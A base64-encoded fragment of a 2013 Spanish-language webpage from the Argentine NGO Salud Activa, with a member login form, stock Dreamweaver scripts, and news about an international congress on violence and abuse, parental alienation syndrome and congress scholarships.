CAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9jbGF1ZGlhMl8wMy5qcGciIHdpZHRoPSIxNzQiIGhlaWdodD0iMjUwIiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICA8dGQgcm93c3Bhbj0iNyIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nLzV4NS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjciPjwvdGQ+CiAgICAgICAgICA8dGQgY29sc3Bhbj0iMiIgcm93c3Bhbj0iNCIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSJsb2dpbi5waHAiIG1ldGhvZD0icG9zdCIgbmFtZT0iZm9ybTIiPgoKICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgY29sc3Bhbj0iMiIgYWxpZ249ImxlZnQiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0iY29udGVuaWRvIiA+IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3Ryb25nPlVzdWFyaW8gbm8gcmVnaXN0cmFkbzwvc3Ryb25nPiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb250PiA8L3N0cm9uZz4gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDkiIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJjb250ZW5pZG8iPlVzdWFyaW8mbmJzcDsmbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzOSIgdmFsaWduPSJtaWRkbGUiPjxpbnB1dCBuYW1lPSJ1c3VhcmlvIiB0eXBlPSJ0ZXh0IiBjbGFzcz0icmVnIiBpZD0idXN1YXJpbyIgc2l6ZT0iNyI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjciIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJjb250ZW5pZG8iPkNvbnRyYXNlJm50aWxkZTthJm5ic3A7Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzkiIHZhbGlnbj0ibWlkZGxlIj48aW5wdXQgbmFtZT0icGFzcyIgdHlwZT0icGFzc3dvcmQiIGNsYXNzPSJyZWciIGlkPSJwYXNzIiBzaXplPSI3Ij48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MiIgYWxpZ249InJpZ2h0IiB2YWxpZ249Im1pZGRsZSIgY2xhc3M9ImJvdG9uIj48aW5wdXQgdHlwZT0iaW1hZ2UiIHNyYz0iaW1nL3JlZy5qcGciIHdpZHRoPSI1OCIgaGVpZ2h0PSIzMCI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjciIGhlaWdodD0iMTkiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgPjxhIGhyZWY9Imh0dHA6Ly93d3cuZmFjZWJvb2suY29tL2hvbWUucGhwPyMhL3BhZ2VzL01lcmxvLUFyZ2VudGluYS9TQUxVRC1BQ1RJVkEvMTAwNTgzNTQzMzE3MzIyP3JlZj10cyZhamF4cGlwZT0xJl9fYT03IiB0YXJnZXQ9Il9ibGFuayI+PGltZyBzcmM9ImltZy9mYWNlYm9vay5qcGciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgYm9yZGVyPSIwIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzExIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48ZGl2IGFsaWduPSJsZWZ0Ij48YSBocmVmPSJodHRwOi8vdHdpdHRlci5jb20vU2FsdWRBY3RpdmFPTkciIHRhcmdldD0iX2JsYW5rIj48aW1nIHNyYz0iaW1nL3R3aXRlci5qcGciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgYm9yZGVyPSIwIj48L2E+PC9kaXY+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSI1IiBhbGlnbj0icmlnaHQiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0iY29udGVuaWRvIj48bGFiZWw+PGZvbnQgc2l6ZT0iLTYiPlNpCiAgICAgICAgICAgICAgICAgICAgICAgdG9kYXYmaWFjdXRlO2Egbm8gZXMgdXN1YXJpbyA8L2ZvbnQ+IDxhIGhyZWY9ImluZGV4LnBocD9pZD0xMSIgY2xhc3M9ImJvdG9uIj48Zm9udCBzaXplPSItNiI+cmVnJmlhY3V0ZTtzdHJlc2UKICAgICAgICAgICAgICAgICAgICAgICAgYXF1JmlhY3V0ZTsgPGZvbnQgY29sb3I9IiM2NjY2NjYiPiYjODIyNjs8L2ZvbnQ+PC9mb250PjwvYT4gPGEgaHJlZj0iaW5kZXgucGhwP2lkPTEyIiBjbGFzcz0iYm90b24xIj48Zm9udCBzaXplPSItNiI+b2x2aWRlIG1pIGNvbnRyYXNlJm50aWxkZTthPC9mb250PjwvYT48L2xhYmVsPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE3Ij4mbmJzcDsgPC90ZD4KICAgICAgICAgICAgICA8L3RyPgoJCQkgIDwvZm9ybT4KCiAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICA8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4KPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWlzby04ODU5LTEiIC8+Cjx0aXRsZT5Eb2N1bWVudG8gc2luIHQmaWFjdXRlO3R1bG88L3RpdGxlPgo8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KPHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCIgdHlwZT0idGV4dC9KYXZhU2NyaXB0Ij4KPCEtLQpmdW5jdGlvbiBNTV9yZWxvYWRQYWdlKGluaXQpIHsgIC8vcmVsb2FkcyB0aGUgd2luZG93IGlmIE5hdjQgcmVzaXplZAogIGlmIChpbml0PT10cnVlKSB3aXRoIChuYXZpZ2F0b3IpIHtpZiAoKGFwcE5hbWU9PSJOZXRzY2FwZSIpJiYocGFyc2VJbnQoYXBwVmVyc2lvbik9PTQpKSB7CiAgICBkb2N1bWVudC5NTV9wZ1c9aW5uZXJXaWR0aDsgZG9jdW1lbnQuTU1fcGdIPWlubmVySGVpZ2h0OyBvbnJlc2l6ZT1NTV9yZWxvYWRQYWdlOyB9fQogIGVsc2UgaWYgKGlubmVyV2lkdGghPWRvY3VtZW50Lk1NX3BnVyB8fCBpbm5lckhlaWdodCE9ZG9jdW1lbnQuTU1fcGdIKSBsb2NhdGlvbi5yZWxvYWQoKTsKfQpNTV9yZWxvYWRQYWdlKHRydWUpOwoKZnVuY3Rpb24gTU1fcHJlbG9hZEltYWdlcygpIHsgLy92My4wCiAgdmFyIGQ9ZG9jdW1lbnQ7IGlmKGQuaW1hZ2VzKXsgaWYoIWQuTU1fcCkgZC5NTV9wPW5ldyBBcnJheSgpOwogICAgdmFyIGksaj1kLk1NX3AubGVuZ3RoLGE9TU1fcHJlbG9hZEltYWdlcy5hcmd1bWVudHM7IGZvcihpPTA7IGk8YS5sZW5ndGg7IGkrKykKICAgIGlmIChhW2ldLmluZGV4T2YoIiMiKSE9MCl7IGQuTU1fcFtqXT1uZXcgSW1hZ2U7IGQuTU1fcFtqKytdLnNyYz1hW2ldO319Cn0KLy8tLT4KPC9zY3JpcHQ+CiAgICAgICAgICAgICA8c2NyaXB0IHNyYz0iU2NyaXB0cy9BQ19SdW5BY3RpdmVDb250ZW50LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoJCQkgCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CjwhLS0KI0xheWVyMSB7Cglwb3NpdGlvbjphYnNvbHV0ZTsKCXdpZHRoOjY1MXB4OwoJaGVpZ2h0OjIxOHB4OwoJei1pbmRleDoxOwp9CiNMYXllcjIgewoJcG9zaXRpb246YWJzb2x1dGU7Cgl3aWR0aDoyMDBweDsKCWhlaWdodDoxMTVweDsKCXotaW5kZXg6MTsKCXZpc2liaWxpdHk6IHZpc2libGU7Cn0KLkVzdGlsbzEgewoJZm9udC1zaXplOiAxOHB4OwoJZm9udC13ZWlnaHQ6IGJvbGQ7Cn0KLkVzdGlsbzIgewoJZm9udC1zaXplOiAxNHB4OwoJZm9udC13ZWlnaHQ6IGJvbGQ7Cn0KLkVzdGlsbzMge2NvbG9yOiAjNTA2OTkwOyBsaW5lLWhlaWdodDogMTJweDsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyBmb250LWZhbWlseTogVGFob21hO30KLS0+Cjwvc3R5bGU+CjwvaGVhZD4KCjxib2R5IGxlZnRtYXJnaW49IjIiIG1hcmdpbndpZHRoPSIyIj4KPHRhYmxlIHdpZHRoPSI2MDgiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICA8dHI+CiAgICA8dGQgY29sc3Bhbj0iNCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCB3aWR0aD0iMiUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzA3LmpwZyIgd2lkdGg9IjI0IiBoZWlnaHQ9IjE0IiAvPjwvdGQ+CiAgICAgICAgPHRkIHdpZHRoPSI5MCUiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18wNy5qcGciPiZuYnNwOzwvdGQ+CiAgICAgICAgPHRkIHdpZHRoPSI4JSIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wOS5qcGciIHdpZHRoPSI0NSIgaGVpZ2h0PSIxNyIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogIDwvdHI+CiAgPHRyPgogICAgPHRkIGNvbHNwYW49IjQiPjxiciAvPgogICAgICA8dGFibGUgd2lkdGg9Ijk4JSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICA8dHI+CiAgICAgICAgPHRkIHdpZHRoPSIyJSI+PGltZyBzcmM9ImltZy81eDUuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iMTUiIC8+PC90ZD4KICAgICAgICA8dGQgd2lkdGg9IjkzJSI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CjwhLS0gSU5JQ0lPIG5vdGEgZGVzdGFjYWRhIC0tPgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTU2IiByb3dzcGFuPSIyIiB2YWxpZ249InRvcCI+CgkJCQkKCQkJCTx0YWJsZSB3aWR0aD0iMzIlIiBib3JkZXI9IjEiIGNlbGxzcGFjaW5nPSIzIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJzcmMvaW1nX3VwLzIzMDQyMDEzLjAuanBnIiB3aWR0aD0iMTQ2IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPgoJCQkJCQkJCTwvdGQ+ICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MjIvMTEvMjAxMzwvc3Bhbj48YnI+SVYgQ29uZ3Jlc28gSW50ZXJuYWNpb25hbCB2aW9sZW5jaWEsIG1hbHRyYXRvIHkgYWJ1c288L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPjxzdHJvbmc+MTQsIDE1IHkgMTYgZGUgTm92aWVtYnJlIEFCSUVSVEEgTEEgSU5TQ1JJUENJJk9hY3V0ZTtOISAoY29uIGRlc2N1ZW50byBoYXN0YSBlbCAyNy84KTxiciAvPjwvc3Ryb25nPjwvcD4NCjxwPjxzdHJvbmc+QUJJRVJUQSBMQSBSRUNFUENJJk9hY3V0ZTtOIERFIFRSQUJBSk88YSBocmVmPSJodHRwOi8vd3d3LmNvbmdyZXNvdmlvbGVuY2lhLmNvbS9pbmRleC5waHA/aWQ9bW9kYWxpZGFkZXMiIHRhcmdldD0iX2JsYW5rIj4gKG1hcyBpbmZvKTwvYT48L3N0cm9uZz48L3A+DQo8cD48c3BhbiBzdHlsZT0iY29sb3I6ICNmZjY2MDA7Ij48c3Ryb25nPk9yZ2FuaXphOiBTYWx1ZCBBY3RpdmE8L3N0cm9uZz48L3NwYW4+PC9wPg0KPHA+PHNwYW4gc3R5bGU9ImNvbG9yOiAjZmY2NjAwOyI+SW5jcmlwdG9zIGFsIFBvcnRhbCBkZSBTYWx1ZCBBY3RpdmEsIGltcG9ydGFudGVzIGRlc2N1ZW50b3MhPGJyIC8+PC9zcGFuPjwvcD4NCjxwPkx1Z2FyIGRlIFJlYWxpemFjaSZvYWN1dGU7biB5IGNvbGFib3JhY2lvbjogVW5pdmVyc2lkYWQgZGVsIEVzdGUsIExhIFBsYXRhIEJ1ZW5vcyBBaXJlczwvcD4NCjxwPk1hcyBkZSAxNTAgdHJhYmFqb3MgcHJlc2VudGFkb3MsIHVsdGltb3MgZGlhcyBwYXJhIGluc2NyaWJpcnNlIGNvbiBkZXNjdWVudG8hITwvcD4NCjxwPjxhIGhyZWY9Imh0dHA6Ly93d3cuY29uZ3Jlc292aW9sZW5jaWEuY29tL2luZGV4LnBocD9pZD1pbnNjcmlwY2lvbiIgdGFyZ2V0PSJfYmxhbmsiPkluc2NyaWJpcnNlPC9hPjwvcD4NCjxwPjxhIGhyZWY9Imh0dHA6Ly93d3cuY29uZ3Jlc292aW9sZW5jaWEuY29tL2luZGV4LnBocD9pZD1pbnNjcmlwY2lvbiIgdGFyZ2V0PSJfYmxhbmsiPjxiciAvPjwvYT48L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzAxIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDEiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MDQvMTEvMjAxMzwvc3Bhbj48YnI+RWwgY29sZWdpbyBkZSBQc2lj82xvZ29zIGRlIEPzcmRvYmEgc2UgcHJvbnVuY2lhIGVuIHJlbGFjafNuIGFsIFNBUCB5IGVuIGNvbmNvcmRhbmNpYSBjb24gbG8gZXhwcmVzYWRvIHBvciBlbCBDb2xlZ2lvIGRlIFBzaWPzbG9nb3MgZGUgTWFyIGRlbCBQbGF0YSB5IGVsIENvbGVnaW8gZGUgUHNpY/Nsb2dvcyBkZSBsYSAgUHJvdmluY2lhIGRlIEJ1ZW5vcyBBaXJlczwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODUiIGNvbHNwYW49IjQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+Jm5ic3A7PC9wPg0KPHA+TGFzIGNvbnRyb3ZlcnNpYXMgZ2VuZXJhZGFzIGVuIHJlbGFjaSZvYWN1dGU7biBhbCAic2luZHJvbWUgZGUgYWxpZW5hY2kmb2FjdXRlO24gcGFyZW50YSIgU0FQLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMxMCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzEwIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTU2IiByb3dzcGFuPSIyIiB2YWxpZ249InRvcCI+CgkJCQkKCQkJCTx0YWJsZSB3aWR0aD0iMzIlIiBib3JkZXI9IjEiIGNlbGxzcGFjaW5nPSIzIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJzcmMvaW1nX3VwLzE2MTAyMDEzLjAuanBnIiB3aWR0aD0iMTQ2IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPgoJCQkJCQkJCTwvdGQ+ICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MTYvMTAvMjAxMzwvc3Bhbj48YnI+U2FsdWQgQWN0aXZhIG90b3JnYSBtZWRpYXMgYmVjYXMgcGFyYSBlbCBJViBDb25ncmVzbyBJbnRlcm5hY2lvbmFsLCBWIE5hY2lvbmFsLCBWSSBSZWdpb25hbCBWaW9sZW5jaWEsIE1hbHRyYXRvIHkgQWJ1c28uPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD4mbmJzcDs8L3A+DQo8cD5TZXImYWFjdXRlO24gb3RvcmdhZGFzIDUwIG1lZGlhcyBiZWNhcywgcXVlZGFuIHBvY2FzISEhIGNvbmRpY2lvbjo8L3A+DQo8cD5QZXJ0ZW5lY2VyIGFsIGFtYml0byBwdWJsaWNvIG8gYSBPTkcsIHNlIGNvbnNpZGVyYSB0YW1iaWVuIGxhIGRpc3RhbmNpYSBhbCBsdWdhciBkZWwgZXZlbnRvISEhIGVzIG11eSBzZW5jaWxsbywgc29sbyBkZWJlcyBlbnZpYXIgdW4gZW1haWwuLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwOSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA5Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9Ij